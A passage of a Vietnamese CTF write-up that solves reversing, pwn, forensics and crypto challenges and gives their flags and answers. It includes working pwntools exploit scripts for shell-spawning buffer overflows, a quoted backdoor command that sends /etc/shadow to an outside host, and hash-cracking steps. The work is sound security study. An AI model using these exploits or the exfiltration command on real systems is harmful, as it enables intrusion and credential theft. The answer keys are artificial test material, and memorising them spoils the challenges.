            print("'"+move[j]+"'", end=", ")
  • Duyệt xong mới thấy là bài này chỉ có 1 đường đi duy nhất, vậy thì ai vũ phuvét cạn chút cũng solve được bởi max nước đi chỉ rơi vào khoảng 19*3*6 như đã đề cập trên :v

    alt text

flag: HTB{tunn3l1ng_ab0ut_in_3d_01b23521afc8c7b30d9f8e66002d8ad1}

SatelliteHijack

credit: noobmannn

Challange cho chúng ta một file ELF64 satellite và một file thư viện của linux library.so

image

Khi run file, chương trình sẽ hiện lên cái Thumbnail như dưới và cứ liên tục bắt người dùng nhập gì đó

         ,-.
        / \  `.  __..-,O ≈ ≈ ≈ ≈ ≈ ≈ ≈ ≈ ≈ ≈ ≈ ≈
       :   \ --''_..-'.'
       |    . .-' `. '.
       :     .     .`.'
        \     `.  /  ..
        \      `.   ' .
          `,       `.   \
         ,|,`.        `-.\
        '.||  ``-...__..-`
         |  |
         |__|
         /||\
        //||\\
       // || \\
    __//__||__\\__
   '--------------' 
| READY TO TRANSMIT |
> kiin
Sending `kiin`
> ull
Sending `ull`
>

Mở file bằng IDA64, chương trình về cơ bản là in ra Thumbnail, sau đó dùng một vòng lặp while(1) để bắt chúng ta nhập input liên tục rồi đưa input đó vào hàm send_satellite_message để xử lý

image

Khi debug, mình thấy hàm này là một hàm được lấy từ thư viện library.so mà challange cung cấp

image

Mở library.so bằng IDA64 và xem qua các hàm của nó, dễ dàng nhận thấy send_satellite_message chính là hàm dưới đây

image

Đọc qua hàm và dựa vào giá trị mà hàm truyền vào ở hàm main của chương trình, dễ nhận thấy chương trình chỉ đơn giản là lặp đi lặp lại việc nối chuỗi chúng ta nhập vào với chuỗi START được khai báo sẵn rồi sau đó cũng chẳng để làm gì cả???

image

Quay lại library.so và xref theo hàm send_satellite_message, ta thấy hàm này được gọi bới hàm sub_25D0 như dưới đây. Về cơ bản hàm đang muốn lấy giá trị của biến môi trường SAT_PROD_ENVIRONMENT, nếu giá trị này có tồn tại thì chương trình sẽ chạy vào hàm sub_23E3, còn không thì bỏ qua và chạy tiếp vào send_satellite_message

image

Phân tích hàm sub_23E3

image

Đầu tiên chương trình gọi hàm getauxval với tham số truyền vào là 0x3 (tương đương với Enum AT_PHDR). Hàm này nhằm được sử dụng để truy xuất các giá trị từ vector phụ trợ (auxiliary vector), đây là một phần của môi trường tiến trình cung cấp các thông tin khác nhau về tiến trình cho kernel và hệ thống. Với tham số là AT_PHDR, hàm này trả về địa chỉ của program headers trong tiến trình. Đây là một mảng các cấu trúc Elf32_Phdr hoặc Elf64_Phdr, tùy thuộc vào kiến trúc của hệ thống (32-bit hoặc 64-bit). Ở trường hợp của bài là mảng các cấu trúc Elf64_Phdr.

Tiếp theo chương trình gọi đến hàm sub_21A9

image

Đầu tiên hàm thực hiện một vòng lặp phức tạp như dưới đây

  phdrs = (Elf64_Phdr *)((char *)hdr + hdr->p_filesz);
  symtab = 0LL;
  jmprel = 0LL;
  strtab = 0LL;
  for ( i = 0; i < LOWORD(hdr[1].p_type); ++i )
  {
    if ( phdrs[i].p_type == PT_DYNAMIC )
    {
      for ( j = (Elf64_Dyn *)((char *)hdr + phdrs[i].p_offset); j->d_tag; ++j )
      {
        switch ( j->d_tag )
        {
          case DT_SYMTAB:
            symtab = (Elf64_Sym *)((char *)hdr + j->d_un);
            break;
          case DT_STRTAB:
            strtab = (char *)hdr + j->d_un;
            break;
          case DT_JMPREL:
            jmprel = (Elf64_Rela *)((char *)hdr + j->d_un);
            break;
        }
      }
    }
  }
  if ( !symtab || !strtab || !jmprel )
    return 0LL;

Vòng lặp này nhằm làm những việc sau:

  • Đầu tiên duyệt qua toàn bộ các mảng cấu trúc Elf64_Phdr để tìm mảng có type là PT_DYNAMIC, đây là một loại entry trong bảng Program Header Table, được sử dụng để mô tả một segment động. Segment này chứa các thông tin cần thiết cho quá trình liên kết động (dynamic linking), như các thư viện động cần thiết, các bảng con trỏ, các bảng băm (hash tables), và các thông tin khác.

  • Sau khi tìm thấy mảng cấu trúc cần thiết, chương trình tiếp tục thực hiện duyệt toàn bộ mảng trên để tìm cấu trúc Elf_Dyn có giá trị d_tagDT_SYMTAB sau đó lưu địa chỉ của nó vào symtab. Đây chính là con trỏ trỏ đến toàn bộ các symbol, tức là toàn bộ các tên hàm trong file Elf. Tương tự với hai case còn lại là DT_STRTAB - chứa địa chỉ của bảng chuỗi, được lưu vào strtabDT_JMPREL - chứa địa chỉ của bảng các PLT - Procedure Linkage Table, bảng này chứa các con trỏ trỏ đến địa chỉ các hàm, được lưu vào jmprel

  v4 = -1;
  for ( k = 0; &symtab[k] < (Elf64_Sym *)strtab; ++k )
  {
    v11 = &symtab[k];
    if ( v11->st_name && !strcmp(&strtab[v11->st_name], name) )
    {
      v4 = k;
      break;
    }
  }
  if ( v4 < 0 )
    return 0LL;
  while ( jmprel->r_offset )
  {
    if ( HIDWORD(jmprel->r_info) == v4 )
      return (__int64)hdr + jmprel->r_offset;
    ++jmprel;
  }
  return 0LL;
}

Phần còn lại của hàm thực hiện hai vòng lặp:

  • Duyệt toàn bộ mảng symtab, đối với mỗi giá trị, chúng ta xác định tên của nó dựa theo bảng strtab rồi so sánh với giá trị name được truyền vào, trong trường hợp cụ thể của chúng ta là tên hàm read. Nếu tìm thấy thì trả về k và lưu nó vào v4

  • Tiếp theo hàm duyệt tiếp qua bảng jmprel, nếu tìm thấy giá trị nào có r_info trùng với v4, chương trình sẽ trả về địa chỉ của hàm cần tìm.

Tổng kết lại, mục đích của hàm sub_21A9 nhằm tìm địa chỉ của hàm có tên được chỉ định. Ở đây là hàm read

Quay lại hàm sub_23E3, sau khi tìm được địa chỉ hàm read, về cơ bản chương trình sao chép toàn bộ byte của byte_11A9 vào biến dest rồi gọi hàm memfrob, hàm này đơn giản chỉ là xor từng byte của byte_11A9 với 0x2A. Kết quả thu được là một đoạn Shellcode. Sau đó ghi đè toàn bộ đoạn Shellcode trên vào hàm read như ở dưới.

  dest = mmap(0LL, (((char *)sub_21A9 - (char *)byte_11A9) & 0xFFFFFFFFFFFFF000LL) + 4096, 7, 34, -1, 0LL);
  memcpy(dest, byte_11A9, (char *)sub_21A9 - (char *)byte_11A9);
  memfrob(dest, (char *)sub_21A9 - (char *)byte_11A9);
  result = readFuncAddr;
  *readFuncAddr = dest;

Bây giờ ta quay lại file satelitte. Để ý kĩ lại chương trình, trước khi chạy vào vòng lặp kia, chương trình có gọi đến hàm _send_satellite_message trước, bây giờ khi debug lại và chạy vào nó trước, mình đã vào được hàm xử lý có vẻ giống với hàm sub_25D0

image

Ở đây vì chúng ta chưa định nghĩa giá trị cho biến môi trường SAT_PROD_ENVIRONMENT vậy nên chương trình không chạy vào hàm sub_23E3 được ==> mình sẽ SetIP để cho chương trình chắc chắn chạy qua hàm sub_23E3, sau đó quay lại main, đặt breakpoint tại lệnh gọi hàm _read để trace tới và chạy thẳng vào hàm đó, lúc này chương trình đã nhảy vào các Shellcode được tính trước đó ở sub_23E3

image

Phân tích Shellcode

Ấn P để chuyển Shellcode sang dạng hàm, có thể nhìn được cơ bản chương trình sẽ chạy như dưới đây

image

Hàm syscallLinux đơn giản là nhảy tới một hàm gọi syscall như dưới đây, có thể dễ dàng hiểu được hàm này đang yêu cầu chúng ta nhập Input

__int64 __fastcall sub_7FCABB69F121(unsigned int a1)
{
  __int64 result; // rax

  result = a1;
  __asm { syscall; LINUX - }
  return result;
}

Vậy có thể hiểu căn bản như sau: Shellcode yêu cầu chúng ta nhập flag, sau đó tiến hành kiểm tra 4 kí tự đầu của flag có phải là HTB{ hay không, những kí tự còn lại sẽ tiếp tục được đưa vào hàm checkFlag để kiểm tra tiếp

image

Trên đây là nội dung của hàm checkFlag, dựa vào đó dễ dàng viết được script để lấy flag của challenge

stri = 'l5{0v0Y7fVf?u>|:O!|Lx!o$j,;f'
flag = 'HTB{'
for i in range(28):
    flag += chr(ord(stri[i]) ^ i)
print(flag)

Flag

HTB{l4y3r5_0n_l4y3r5_0n_l4y3r5!}


Pwnable

Regularity

credit: Phan Đình Lực

Check file + checksec + IDA

image

  • IDA

    • _start

image

  • read

image

  • BUG:

    • Lỗi buffer overflow: read() edx=0x110 trong khi chỉ set phần buffer nhập vào 0x100 byte

    • NX disable: cho phép thực thi shellcode -> ret2shellcode

    • Dừng ở ret ở hàm read():

      image

      image

Khai thác

Tận dụng lỗi bof để overwrite saved rip của read thành call/jump rsi.

Công cụ rop gadget:

image

Script

#!/usr/bin/env python3

    from pwn import *


    def s(p,data):
        p.send(data)
    def sl(p,data):
        p.sendline(data)
    def sla(p,msg,data):
        p.sendlineafter(msg,data)
    def sa(p,msg,data):
        p.sendafter(msg,data)
    def rl(p):
        l=p.recvline()
        return l
    def ru(p,msg):
        l=p.recvuntil(msg)
        return l
    def r(p,size):
        l=p.recv(size)
        return l

    def intFromByte(p,size):
        o = p.recv(size)[::-1].hex()
        output = '0x' + o
        leak = int(output,16)
        return leak

    def GDB(p):
        gdb.attach(p,gdbscript='''
            b*0x000000000040101e
            c
        ''')
        input()

    def main():
        context.binary = exe = ELF("./regularity", checksec=False)
        # libc = ELF("./",checksec=False)
        # ld = ELF("./",checksec=False)
        p = process(exe.path)
        # p=remote('94.237.63.135',35980)
        GDB(p)
        shellcode = asm(shellcraft.sh())
        shellcode =shellcode.ljust(256,b'\x00') +p64(0x0000000000401041)
        sla(p,b'these days?\n',shellcode)
        p.interactive()
    if __name__ == "__main__":
        main()
        # HTB{juMp1nG_w1tH_tH3_r3gIsT3rS?_e89a82a9a29cce817529e60b130d6587}

no_gadget

credit: Phan Đình Lực

Check file + checksec + IDA

image

image

  • IDA

    • main

      image

  • BUG:

    • Lỗi buffer overflow: mảng buf[128] nhưng fgets() cho phép nhập 0x1337 byte.

    • main có check size bằng strlen() nhưng hàm này chỉ đếm byte trước byte NULL nên hoàn toàn có thể bypass chỗ này.

Khai thác

  • Chương trình không có system, lại cho file libc: có thể là ret2libc và để sử kĩ thuật cần 2 cv

    • Leak địa chỉ libc base.

    • Thực thi hàm system trong libc.

  • Tận dụng lỗi BOF để overwrite saved rip của main() -> Kĩ thuật rop chain

  • Tuy nhiên, như tên thì challenge không có những gadget thường gặp như pop rdi để leak libc, hay lấy shell.

  • Nhưng chúng ta có pop rbp:

    image

    \=> Từ gadget này chúng ta có thể dùng kĩ thuật pivot + BOF để tiếp tục ghi vào 1 vị trí khác

  • Đọc mã ASM của main:

    image

    -> Để leak libc chúng ta sẽ cần điều khiển được nội dung in ra nhưng ở đây challenge lại kiểm soát bằng rip chứ không phải rbp (mà rip thì no hope cmnr)

  • Tuy nhiên, chúng ta vẫn còn 1 chút niềm tin bám víu vào hàm fgetsstrlen có kiểm soát đối số bằng rbp và điều tuyệt hơn là Relro:Partial (điều này có nghĩa là có thể overwrite GOT)

  • Vậy quyết định sẽ sử dụng strlen() để leak libc bằng cách overwrite GOT thành call puts

    • Ở đây chúng ta sẽ overwrite GOT của strlen() -> 0x0000000000401251 để khi call strlen() sẽ nhảy đến đó và cũng nhằm mục đích sử dụng lệnh call exit() để loop vị trí call fgets từ đó đưa payload tiếp theo.

    • Tiếp theo, là sẽ pivot vào vị trí nào: Với mục tiệu overwrite GOT vì vậy chúng ta sẽ overwrite từ vị trí GOT của puts bởi vì địa chỉ libc của puts sẽ được đưa vào GOT puts khi puts được gọi và chúng ta có thể leak nó.

    • Cuối cùng overwrite GOT exit() -> 0x000000000040121b (vị trị call fgets)

      image

      \=> Vậy là leak được libc.

    • Sau khi có libc base, chương trình sẽ loop lại fgets , chúng ta sẽ overwrite got puts thành sring "/bin/sh" để làm đối số, còn GOT strlen()->system()

Script

#!/usr/bin/env python3

    from pwn import *


    def s(p,data):
        p.send(data)
    def sl(p,data):
        p.sendline(data)
    def sla(p,msg,data):
        p.sendlineafter(msg,data)
    def sa(p,msg,data):
        p.sendafter(msg,data)
    def rl(p):
        l=p.recvline()
        return l
    def ru(p,msg):
        l=p.recvuntil(msg)
        return l
    def r(p,size):
        l=p.recv(size)
        return l

    def intFromByte(p,size):
        o = p.recv(size)[::-1].hex()
        output = '0x' + o
        leak = int(output,16)
        return leak

    def GDB(p):
        gdb.attach(p,gdbscript='''
        b*main+158
        c
        ''')
        input()
    def main():
        context.binary = exe = ELF("./no_gadgets",checksec=False)
        libc = ELF("./libc.so.6",checksec=False)
        ld = ELF("./ld-2.35.so",checksec=False)
        # p = process(exe.path)
        # GDB(p)
        p = remote('94.237.63.100',45155)
        ##################### change read-write location part 1 ###################
        rw=0x404000
        gets=0x000000000040121b
        payload=b'\x00'*128+p64(rw+0x80)+p64(gets)
        sla(p,b'Data: ',payload)

        puts=0x0000000000401251
        payload = p64(0x401036)+p64(puts)+p64(0x401056)+p64(0x401066)+p64(0x401076)+p64(gets)
        sl(p,payload)
        ru(p,b'\x0a')

        leak = intFromByte(p,6)
        print("leak:",hex(leak))
        libc.address=leak-(0x7f5c36480ed0-0x00007f5c36400000)
        print("libc:",hex(libc.address))
        binsh='/bin/sh\x00'.encode()
        system =libc.address+0x0000000000050d60

        payload = binsh+p64(system)+p64(0x401056)+p64(0x401066)+p64(0x401076)+p64(gets)
        sl(p,payload)
        p.interactive()

    if __name__ == "__main__":
        main()
        # HTB{wh0_n3eD5_rD1_wH3n_Y0u_h@v3_rBp!!!_9fa80d7e403478d67531cbbb8eab9925}

abyss


Forensics

Silicon Data Sleuthing

credit: un1dt5

Bài cho 1 file firmware OpenWrt, nhiệm vụ là tìm hiểu thông tin có trong file và trả lời câu hỏi để lấy flag. Mình sử dụng binwalk để extract file firmware

binwalk -e chal_router_dump.bin

What version of OpenWRT runs on the router (ex: 21.02.0)?

Có nhiều chỗ để tìm version của firmware OpenWrt. Ở đây mình mở file banner trong /squashfs-root/etc/ ra để đọc

_______                     ________        __
 |       |.-----.-----.-----.|  |  |  |.----.|  |_
 |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
 |_______||   __|_____|__|__||________||__|  |____|
          |__| W I R E L E S S   F R E E D O M
 -----------------------------------------------------
 OpenWrt 23.05.0, r23497-6637af95aa
 -----------------------------------------------------

What is the Linux kernel version (ex: 5.4.143)?

Cũng có nhiều chỗ để tìm Linux kernel version của firmware OpenWrt như folder trong /lib/modules/ hay ở trong /usr/lib/opkg/status (các packages đã cài thường có thông tin về kernel version). Nhưng mình chọn cách đọc Release Notes của OpenWrt phiên bản này cho nhanh :V OpenWrt 23.05.0, r23497-6637af95aa

image

What's the hash of the root account's password, enter the whole line (ex: root:$2$JgiaOAai....)?

Nếu tìm trong squashfs-root thì không thể tìm thấy password hash, vì đây chỉ là phân vùng read-only, còn toàn bộ thay đổi về configuragtions được lưu trong phân vùng overlay được định dạng JFFS2

image

image

Để extract phân vùng này ta dùng jefferson Comment Suggest edit

Sau khi extract thì ta vào /work/work/ và đọc file #32 (đây là file shadow) là có hash của root account, hoặc có thể giải nén sysupgrade.tgz trong /upper/ là có nguyên folder etc. Mình dùng cách thứ 2

What is the PPPoE username?

Ở trong /etc/config/ file network chứa thông tin này

config interface 'wan'
    option device 'wan'
    option proto 'pppoe'
    option username 'yohZ5ah'
    option password 'ae-h+i$i^Ngohroorie!bieng6kee7oh'
    option ipv6 'auto'

What is the PPPoE password?

Nằm cùng với username trong file network trên

What is the WiFi SSID?

Cũng ở folder /config, trong file wireless chứa thông tin WiFi

What are the 3 WAN ports that redirect traffic from WAN -> LAN (numerically sorted, comma sperated: 1488,8441,19990)?

Vẫn trong folder config, file firewall chứa redirect configuration cần tìm

config redirect
    option dest 'lan'
    option target 'DNAT'
    option name 'DB'
    option src 'wan'
    option src_dport '1778'
    option dest_ip '192.168.1.184'
    option dest_port '5881'

config redirect
    option dest 'lan'
    option target 'DNAT'
    option name 'WEB'
    option src 'wan'
    option src_dport '2289'
    option dest_ip '192.168.1.119'
    option dest_port '9889'

config redirect
    option dest 'lan'
    option target 'DNAT'
    option name 'NAS'
    option src 'wan'
    option src_dport '8088'
    option dest_ip '192.168.1.166'
    option dest_port '4431'

Dưới đây là toàn bộ câu hỏi và đáp án của bài:

+------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|         Title          |                                                                                       Description                                                                                        |
+------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Silicon Data Sleuthing |                         In the dust and sand surrounding the vault, you unearth a rusty PCB... You try to read the etched print, it says Open..W...RT, a router!                         |
|                        |                                                         You hand it over to the hardware gurus and to their surprise the ROM Chip is intact!                                             |
|                        |                                                    They manage to read the data off the tarnished silicon and they give you back a firmware image.                                       |
|                        |              It's now your job to examine the firmware and maybe recover some useful information that will be important for unlocking and bypassing some of the vault's countermeasures! |
+------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

What version of OpenWRT runs on the router (ex: 21.02.0)
> 23.05.0                                                                                                                                                                                        
[+] Correct!

What is the Linux kernel version (ex: 5.4.143)                                                                                                                                                   
> 5.15.134                                                                                                                                                                                       
[+] Correct!

What's the hash of the root account's password, enter the whole line (ex: root:$2$JgiaOAai....)                                                                                                  
> root:$1$YfuRJudo$cXCiIJXn9fWLIt8WY2Okp1:19804:0:99999:7:::                                                                                                                                     
[+] Correct!

What is the PPPoE username                                                                                                                                                                       
> yohZ5ah                                                                                                                                                                                        
[+] Correct!

What is the PPPoE password                                                                                                                                                                       
> ae-h+i$i^Ngohroorie!bieng6kee7oh                                                                                                                                                               
[+] Correct!

What is the WiFi SSID                                                                                                                                                                            
> VLT-AP01                                                                                                                                                                                       
[+] Correct!

What is the WiFi Password                                                                                                                                                                        
> french-halves-vehicular-favorable                                                                                                                                                              
[+] Correct!

What are the 3 WAN ports that redirect traffic from WAN -> LAN (numerically sorted, comma sperated: 1488,8441,19990)                                                                             
> 1778,2289,8088                                                                                                                                                                                 
[+] Correct!

[+] Here is the flag: HTB{Y0u'v3_m4st3r3d_0p3nWRT_d4t4_3xtr4ct10n!!_cff2b8a17b727a23acefa92dcaa528ec}

Caving

credit: un1dt5

Bài cho ta folder log events của Windows. Mình dùng Hayabusa và Timeline Explorer để lọc log ra đọc những event đáng chú ý (hoặc có thể đọc chay nma mình lười ;-;)

Sau khi mở file csv được lọc ta thấy ngay được 1 log cảnh báoSuspicious Powershell Download

image

image

Decode base64 đoạn Cookie f=SFRCezFudHJ1UzEwbl9kM3QzY3QzZF8hISF9 ra ta lấy được flag

image

Mitigation

credit: un1dt5

Bài cho 1 instance Linux, connect vào và tìm cách loại bỏ backdoor Đầu tiên mình dùng pspy để kiểm tra các process đang chạy trên instance. Liên tục là những sessions SSH được connect vào server, và thực hiện shell script, trong đó có 1 đoạn đáng chú ý: CMD: UID=0 PID=388 | sh -c cat /tmp/.c|base64 -d|sh Đoạn lệnh này đọc file .c trong /tmp, sau đó decode base64 ra và thực thi. Mình mở file ra để đọc thử thì thấy nội dung như sau:

curl -X POST -d "data=$(base64 /etc/shadow)&i=$(hostname -I | awk '{print $1}')" https://vault.htb/hashes/save

Dấu hiệu của việc có backdoor kết nối ssh tới server linux làm mình nhớ tới XZ Utils backdoor hay CVE-2024-3094, một lỗ hổng được phát hiện gần đây trong thư viện liblzma, cụ thể trong 2 phiên bản 5.6.0 và 5.6.1. Và ở trên server Linux của bài, phiên bản 5.6.1-1 đã được cài đặt

root@5a349bb86666:~# dpkg -l | grep liblzma
ii  liblzma5:amd64              5.6.1-1               amd64        XZ-format compression library

Và mình đã tiến hành update thư viện liblzma lên phiên bản mới nhất hiện tại (hoặc cũng có thể downgrade về bản cũ hơn) tại đây

root@5a349bb86666:~# dpkg -i liblzma5_5.6.1+really5.4.5-1_amd64.deb 
Selecting previously unselected package liblzma5:amd64.
(Reading database ... 7594 files and directories currently installed.)
Preparing to unpack liblzma5_5.6.1+really5.4.5-1_amd64.deb ...
Unpacking liblzma5:amd64 (5.6.1+really5.4.5-1) over (5.6.1-1) ...
Setting up liblzma5:amd64 (5.6.1+really5.4.5-1) ...
Processing triggers for libc-bin (2.36-9+deb12u7) ...

Sau khi update xong 1 lúc thì có thông báo backdoor đã bị loại bỏ trên server

Broadcast message from root@5a349bb86666 (somewhere) (Thu May 23 09:10:38 2024)

Backdoor eliminated! Check /

Vào root và đọc flag thôi

root@5a349bb86666:~# cd /
root@5a349bb86666:/# ls
bin  boot  dev  etc  flag.txt  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
root@5a349bb86666:/# cat flag.txt
HTB{oH_xZ_w3_f0uNd_tH3_b4cKd0or}

Counter Defensive

+-------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+
|       Title       |                                                                       Description                                                                       |
+-------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+
| Counter Defensive |                                      As your crew prepares to infiltrate the vault, a critical discovery is made:                                       |
|                   |                     An opposing faction has embedded malware within a workstation in your infrastructure, targeting invaluable strategic plans.         |
|                   |             Your task is to dissect the compromised system, trace the malware's operational blueprint, and uncover the method of these remote attacks.  |
|                   |                                                Reveal how the enemy monitors and controls their malicious software.                                     |
|                   |                          Understanding their tactics is key to securing your plans and ensuring the success of your mission to the vault.               |
|                   |                                               To get the flag, spawn the docker instance and answer to the questions!                                   |
+-------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+

[1/10] What time did the victim finish downloading the Black-Myth-Wukong64bit.exe file? Please, submit the epoch timestamp. (ie: 168061519)
> 1713451126
[+] Correct!

[2/10] What is the full malicious command which is run whenever the user logs in? (ignore explorer.exe, ie: nc.exe 8.8.8.8 4444)
> %PWS% -nop -w h "start "$env:temp\wct98BG.tmp""
[+] Correct!

[3/10] Referring to the previous file, 'wct98BG.tmp', what is the first process that starts when the malicious file is opened? (ie: svhost.exe)
> mshta.exe
[+] Correct!

[4/10] What is the value of the variable named **cRkDgAkkUElXsDMMNfwvB3** that you get after decoding the first payload? (ie: randomvalue)
> CbO8GOb9qJiK3txOD4I31x553g
[+] Correct!

[5/10] What algorithm/encryption scheme is used in the final payload? (ie: RC4)
> AES
[+] Correct!

[6/10] What is the full path of the key containing the password to derive the encryption key? (ie: HKEY_LOCAL_MACHINE\SAM\SAM\LastSkuUpgrade)
> HKEY_CURRENT_USER\software\classes\Interface\{a7126d4c-f492-4eb9-8a2a-f673dbdd3334}\TypeLib
[+] Correct!

[7/10] What is the attacker's Telegram username? (ie: username)
> Pirate_D_Mylan
[+] Correct!

[8/10] What day did the attacker's server first send a 'new-connection' message? (Format: DD/MM/YYYY)
> 18/04/2024
[+] Correct!

[9/10] What's the password for the 7z archive                                                                                                                                                    
> arameter-none                                                                                                                                                                                  
[+] Correct!

[10/10] Submit the md5sum of the 2 files in the archive that the attacker exfiltrated (sort hashes, connect with '_', ie: 5f19a..._d9fc0...)                                                     
> 83aa3b16ba6a648c133839c8f4af6af9_ffcedf790ce7fe09e858a7ee51773bcd                                                                                                                              
[+] Correct!

[+] Here is the flag: HTB{t3l3gr4m_b4ckf1r3d!!!_9628c067df4b91776081d336bc81cecb}

Tangled Heist

credit: un1dt5

Bài cho ta 1 file network capture. Mình dùng Wireshark để phân tích.

Which is the username of the compromised user used to conduct the attack? (for example: username)

Ở packet thứ 10 ta có thể thấy username Copper trong mục NTLMSSP_AUTH, bên cạnh đó trong cả file network capture chỉ có 2 IP qua lại là 10.10.10.43 (là user) và 10.10.10.100 (là server)

image

What is the Distinguished Name (DN) of the Domain Controller? Don't put spaces between commas. (for example: CN=...,CN=...,DC=...,DC=...)

Sử dụng filter ldap contains "Domain Controllers" ta lọc được packet có chứa thông tin về Distinguished Name

image

Which is the Domain managed by the Domain Controller? (for example: corp.domain)

Kết hợp thông tin ở câu 1 và câu 2 ta có thể thấy được Domain name là recorp.htb

How many failed login attempts are recorded on the user account named 'Ranger'? (for example: 6)

Sử dụng filter ldap contains "Ranger", ta thấy được packet chứa thông tin về số lần nhập sai mật khẩu ở mục badPwdCount

image

Which LDAP query was executed to find all groups? (for example: (object=value))

Biết rằng lệnh do attacker execute, ta sử dụng filter ip.src==10.10.10.43 && ldap contains "group" là tìm được đáp án

image

How many non-standard groups exist? (for example: 1)

Sử dụng filter ldap contains "group", ở cuối ta thấy được 5 groups có tên "không bình thường lắm" (packet 347 chứa thông tin của 2 groups).

image

One of the non-standard users is flagged as 'disabled', which is it? (for example: username)

Để tìm được đáp án, ta kiểm tra mục "userAccountControl", mình sử dụng thêm tool này để biết được tham số của disbled account là gì và tìm được đáp án là Radiation

image

image

The attacker targeted one user writing some data inside a specific field. Which is the field name? (for example: field_name)

Ở packet 669 có một modify request đến từ ip của attacker và thông tin bị modify nằm trong wWWHomePage

image

Which is the new value written in it? (for example: value123)

Cũng ở trong packet trên ta tìm được thông tin bị modify là http://rebcorp.htb/qPvAdQ.php

The attacker created a new user for persistence. Which is the username and the assigned group? Don't put spaces in the answer (for example: username,group)

Ở packet 671 ta thấy request add thêm user B4ck và ở packet 675 ta thấy user B4ck trong group Enclave

image

The attacker obtained an hash for the user 'Hurricane' that has the UF_DONT_REQUIRE_PREAUTH flag set. Which is the correspondent plaintext for that hash? (for example: plaintext_password)

image

Ở packet 684 và 685 ta thấy 2 protocol là KRB5 (kerberos), và để extract và lấy được password mình sử dụng krb2johnjohn

Theo hướng dẫn của krb2john:

For extracting "AS-REQ (krb-as-req)" hashes,
tshark -r AD-capture-2.pcapng -T pdml > data.pdml
tshark -2 -r test.pcap -R "tcp.dstport==88 or udp.dstport==88" -T pdml >> data.pdml
./run/krb2john.py data.pdml

Screenshot 2024-05-23 205847

Dưới đây là toàn bộ câu hỏi và đáp án của bài:

+---------------+-----------------------------------------------------------------------------------------------------------------------------------------+
|     Title     |                                                               Description                                                               |
+---------------+-----------------------------------------------------------------------------------------------------------------------------------------+
| Tangled Heist |                          The survivors' group has meticulously planned the mission 'Tangled Heist' for months.                          |
|               |                                 In the desolate wasteland, what appears to be an abandoned facility is,                                 |
|               |                                             in reality, the headquarters of a rebel faction.                                            |
|               |                              This faction guards valuable data that could be useful in reaching the vault.                              |
|               |            Kaila, acting as an undercover agent, successfully infiltrates the facility using a rebel faction member's account           |
|               |                                 and gains access to a critical asset containing invaluable information.                                 |
|               | This data holds the key to both understanding the rebel faction's organization and advancing the survivors' mission to reach the vault. |
|               |                                                     Can you help her with this task?                                                    |
+---------------+-----------------------------------------------------------------------------------------------------------------------------------------+

[1/11] Which is the username of the compromised user used to conduct the attack? (for example: username)
> Copper                                                                                                                                                                                         
[+] Correct!

[2/11] What is the Distinguished Name (DN) of the Domain Controller? Don't put spaces between commas. (for example: CN=...,CN=...,DC=...,DC=...)                                                 
> CN=SRV195,OU=Domain Controllers,DC=rebcorp,DC=htb                                                                                                                                              
[+] Correct!

[3/11] Which is the Domain managed by the Domain Controller? (for example: corp.domain)                                                                                                          
> rebcorp.htb                                                                                                                                                                                    
[+] Correct!

[4/11] How many failed login attempts are recorded on the user account named 'Ranger'? (for example: 6)                                                                                          
> 14                                                                                                                                                                                             
[+] Correct!

[5/11] Which LDAP query was executed to find all groups? (for example: (object=value))                                                                                                           
> (objectClass=group)                                                                                                                                                                            
[+] Correct!

[6/11] How many non-standard groups exist? (for example: 1)                                                                                                                                      
> 5                                                                                                                                                                                              
[+] Correct!

[7/11] One of the non-standard users is flagged as 'disabled', which is it? (for example: username)                                                                                              
> Radiation                                                                                                                                                                                      
[+] Correct!

[8/11] The attacker targeted one user writing some data inside a specific field. Which is the field name? (for example: field_name)                                                              
> wWWHomePage                                                                                                                                                                                    
[+] Correct!

[9/11] Which is the new value written in it? (for example: value123)                                                                                                                             
> http://rebcorp.htb/qPvAdQ.php                                                                                                                                                                  
[+] Correct!

[10/11] The attacker created a new user for persistence. Which is the username and the assigned group? Don't put spaces in the answer (for example: username,group)                              
> B4ck,Enclave                                                                                                                                                                                   
[+] Correct!

[11/11] The attacker obtained an hash for the user 'Hurricane' that has the UF_DONT_REQUIRE_PREAUTH flag set. Which is the correspondent plaintext for that hash?  (for example: plaintext_password)                                                                                                                                                                                              
> april18                                                                                                                                                                                        
[+] Correct!

[+] Here is the flag: HTB{1nf0rm4t10n_g4th3r3d_265df1a261c0453c2f5cf070a25a216c}

Crypto

eXciting Outpost Recon

credit: Minh

  • Source:
from hashlib import sha256

import os

LENGTH = 32


def encrypt_data(data, k):
    data += b'\x00' * (-len(data) % LENGTH)
    encrypted = b''

    for i in range(0, len(data), LENGTH):
        chunk = data[i:i+LENGTH]

        for a, b in zip(chunk, k):
            encrypted += bytes([a ^ b])

        k = sha256(k).digest()

    return encrypted


key = os.urandom(32)

with open('plaintext.txt', 'rb') as f:
    plaintext = f.read()

assert plaintext.startswith(b'Great and Noble Leader of the Tariaki')       # have to make sure we are aptly sycophantic

with open('output.txt', 'w') as f:
    enc = encrypt_data(plaintext, key)
    f.write(enc.hex())
  • output.txt:
fd94e649fc4c898297f2acd4cb6661d5b69c5bb51448687f60c7531a97a0e683072bbd92adc5a871e9ab3c188741948e20ef9afe8bcc601555c29fa6b61de710a718571c09e89027413e2d94fd3126300eff106e2e4d0d4f7dc8744827731dc6ee587a982f4599a2dec253743c02b9ae1c3847a810778a20d1dff34a2c69b11c06015a8212d242ef807edbf888f56943065d730a703e27fa3bbb2f1309835469a3e0c8ded7d676ddb663fdb6508db9599018cb4049b00a5ba1690ca205e64ddc29fd74a6969b7dead69a7341ff4f32a3f09c349d92e0b21737f26a85bfa2a10d
  • Thấy flag được mã hóa bằng hàm enc như sau enc = encrypt_data(plaintext, key) mà key là 32 bytes ngẫu nhiên, ngoài ra ta đã biết một đoạn nhỏ của plaintext
assert plaintext.startswith(b'Great and Noble Leader of the Tariaki')

Đi sâu hơn vào hàm mã hóa mình thấy:

  • data += b'\x00' * (-len(data) % LENGTH) plaintext được padding thêm các bytes \x00 cho đến khi độ dài chia hết 32

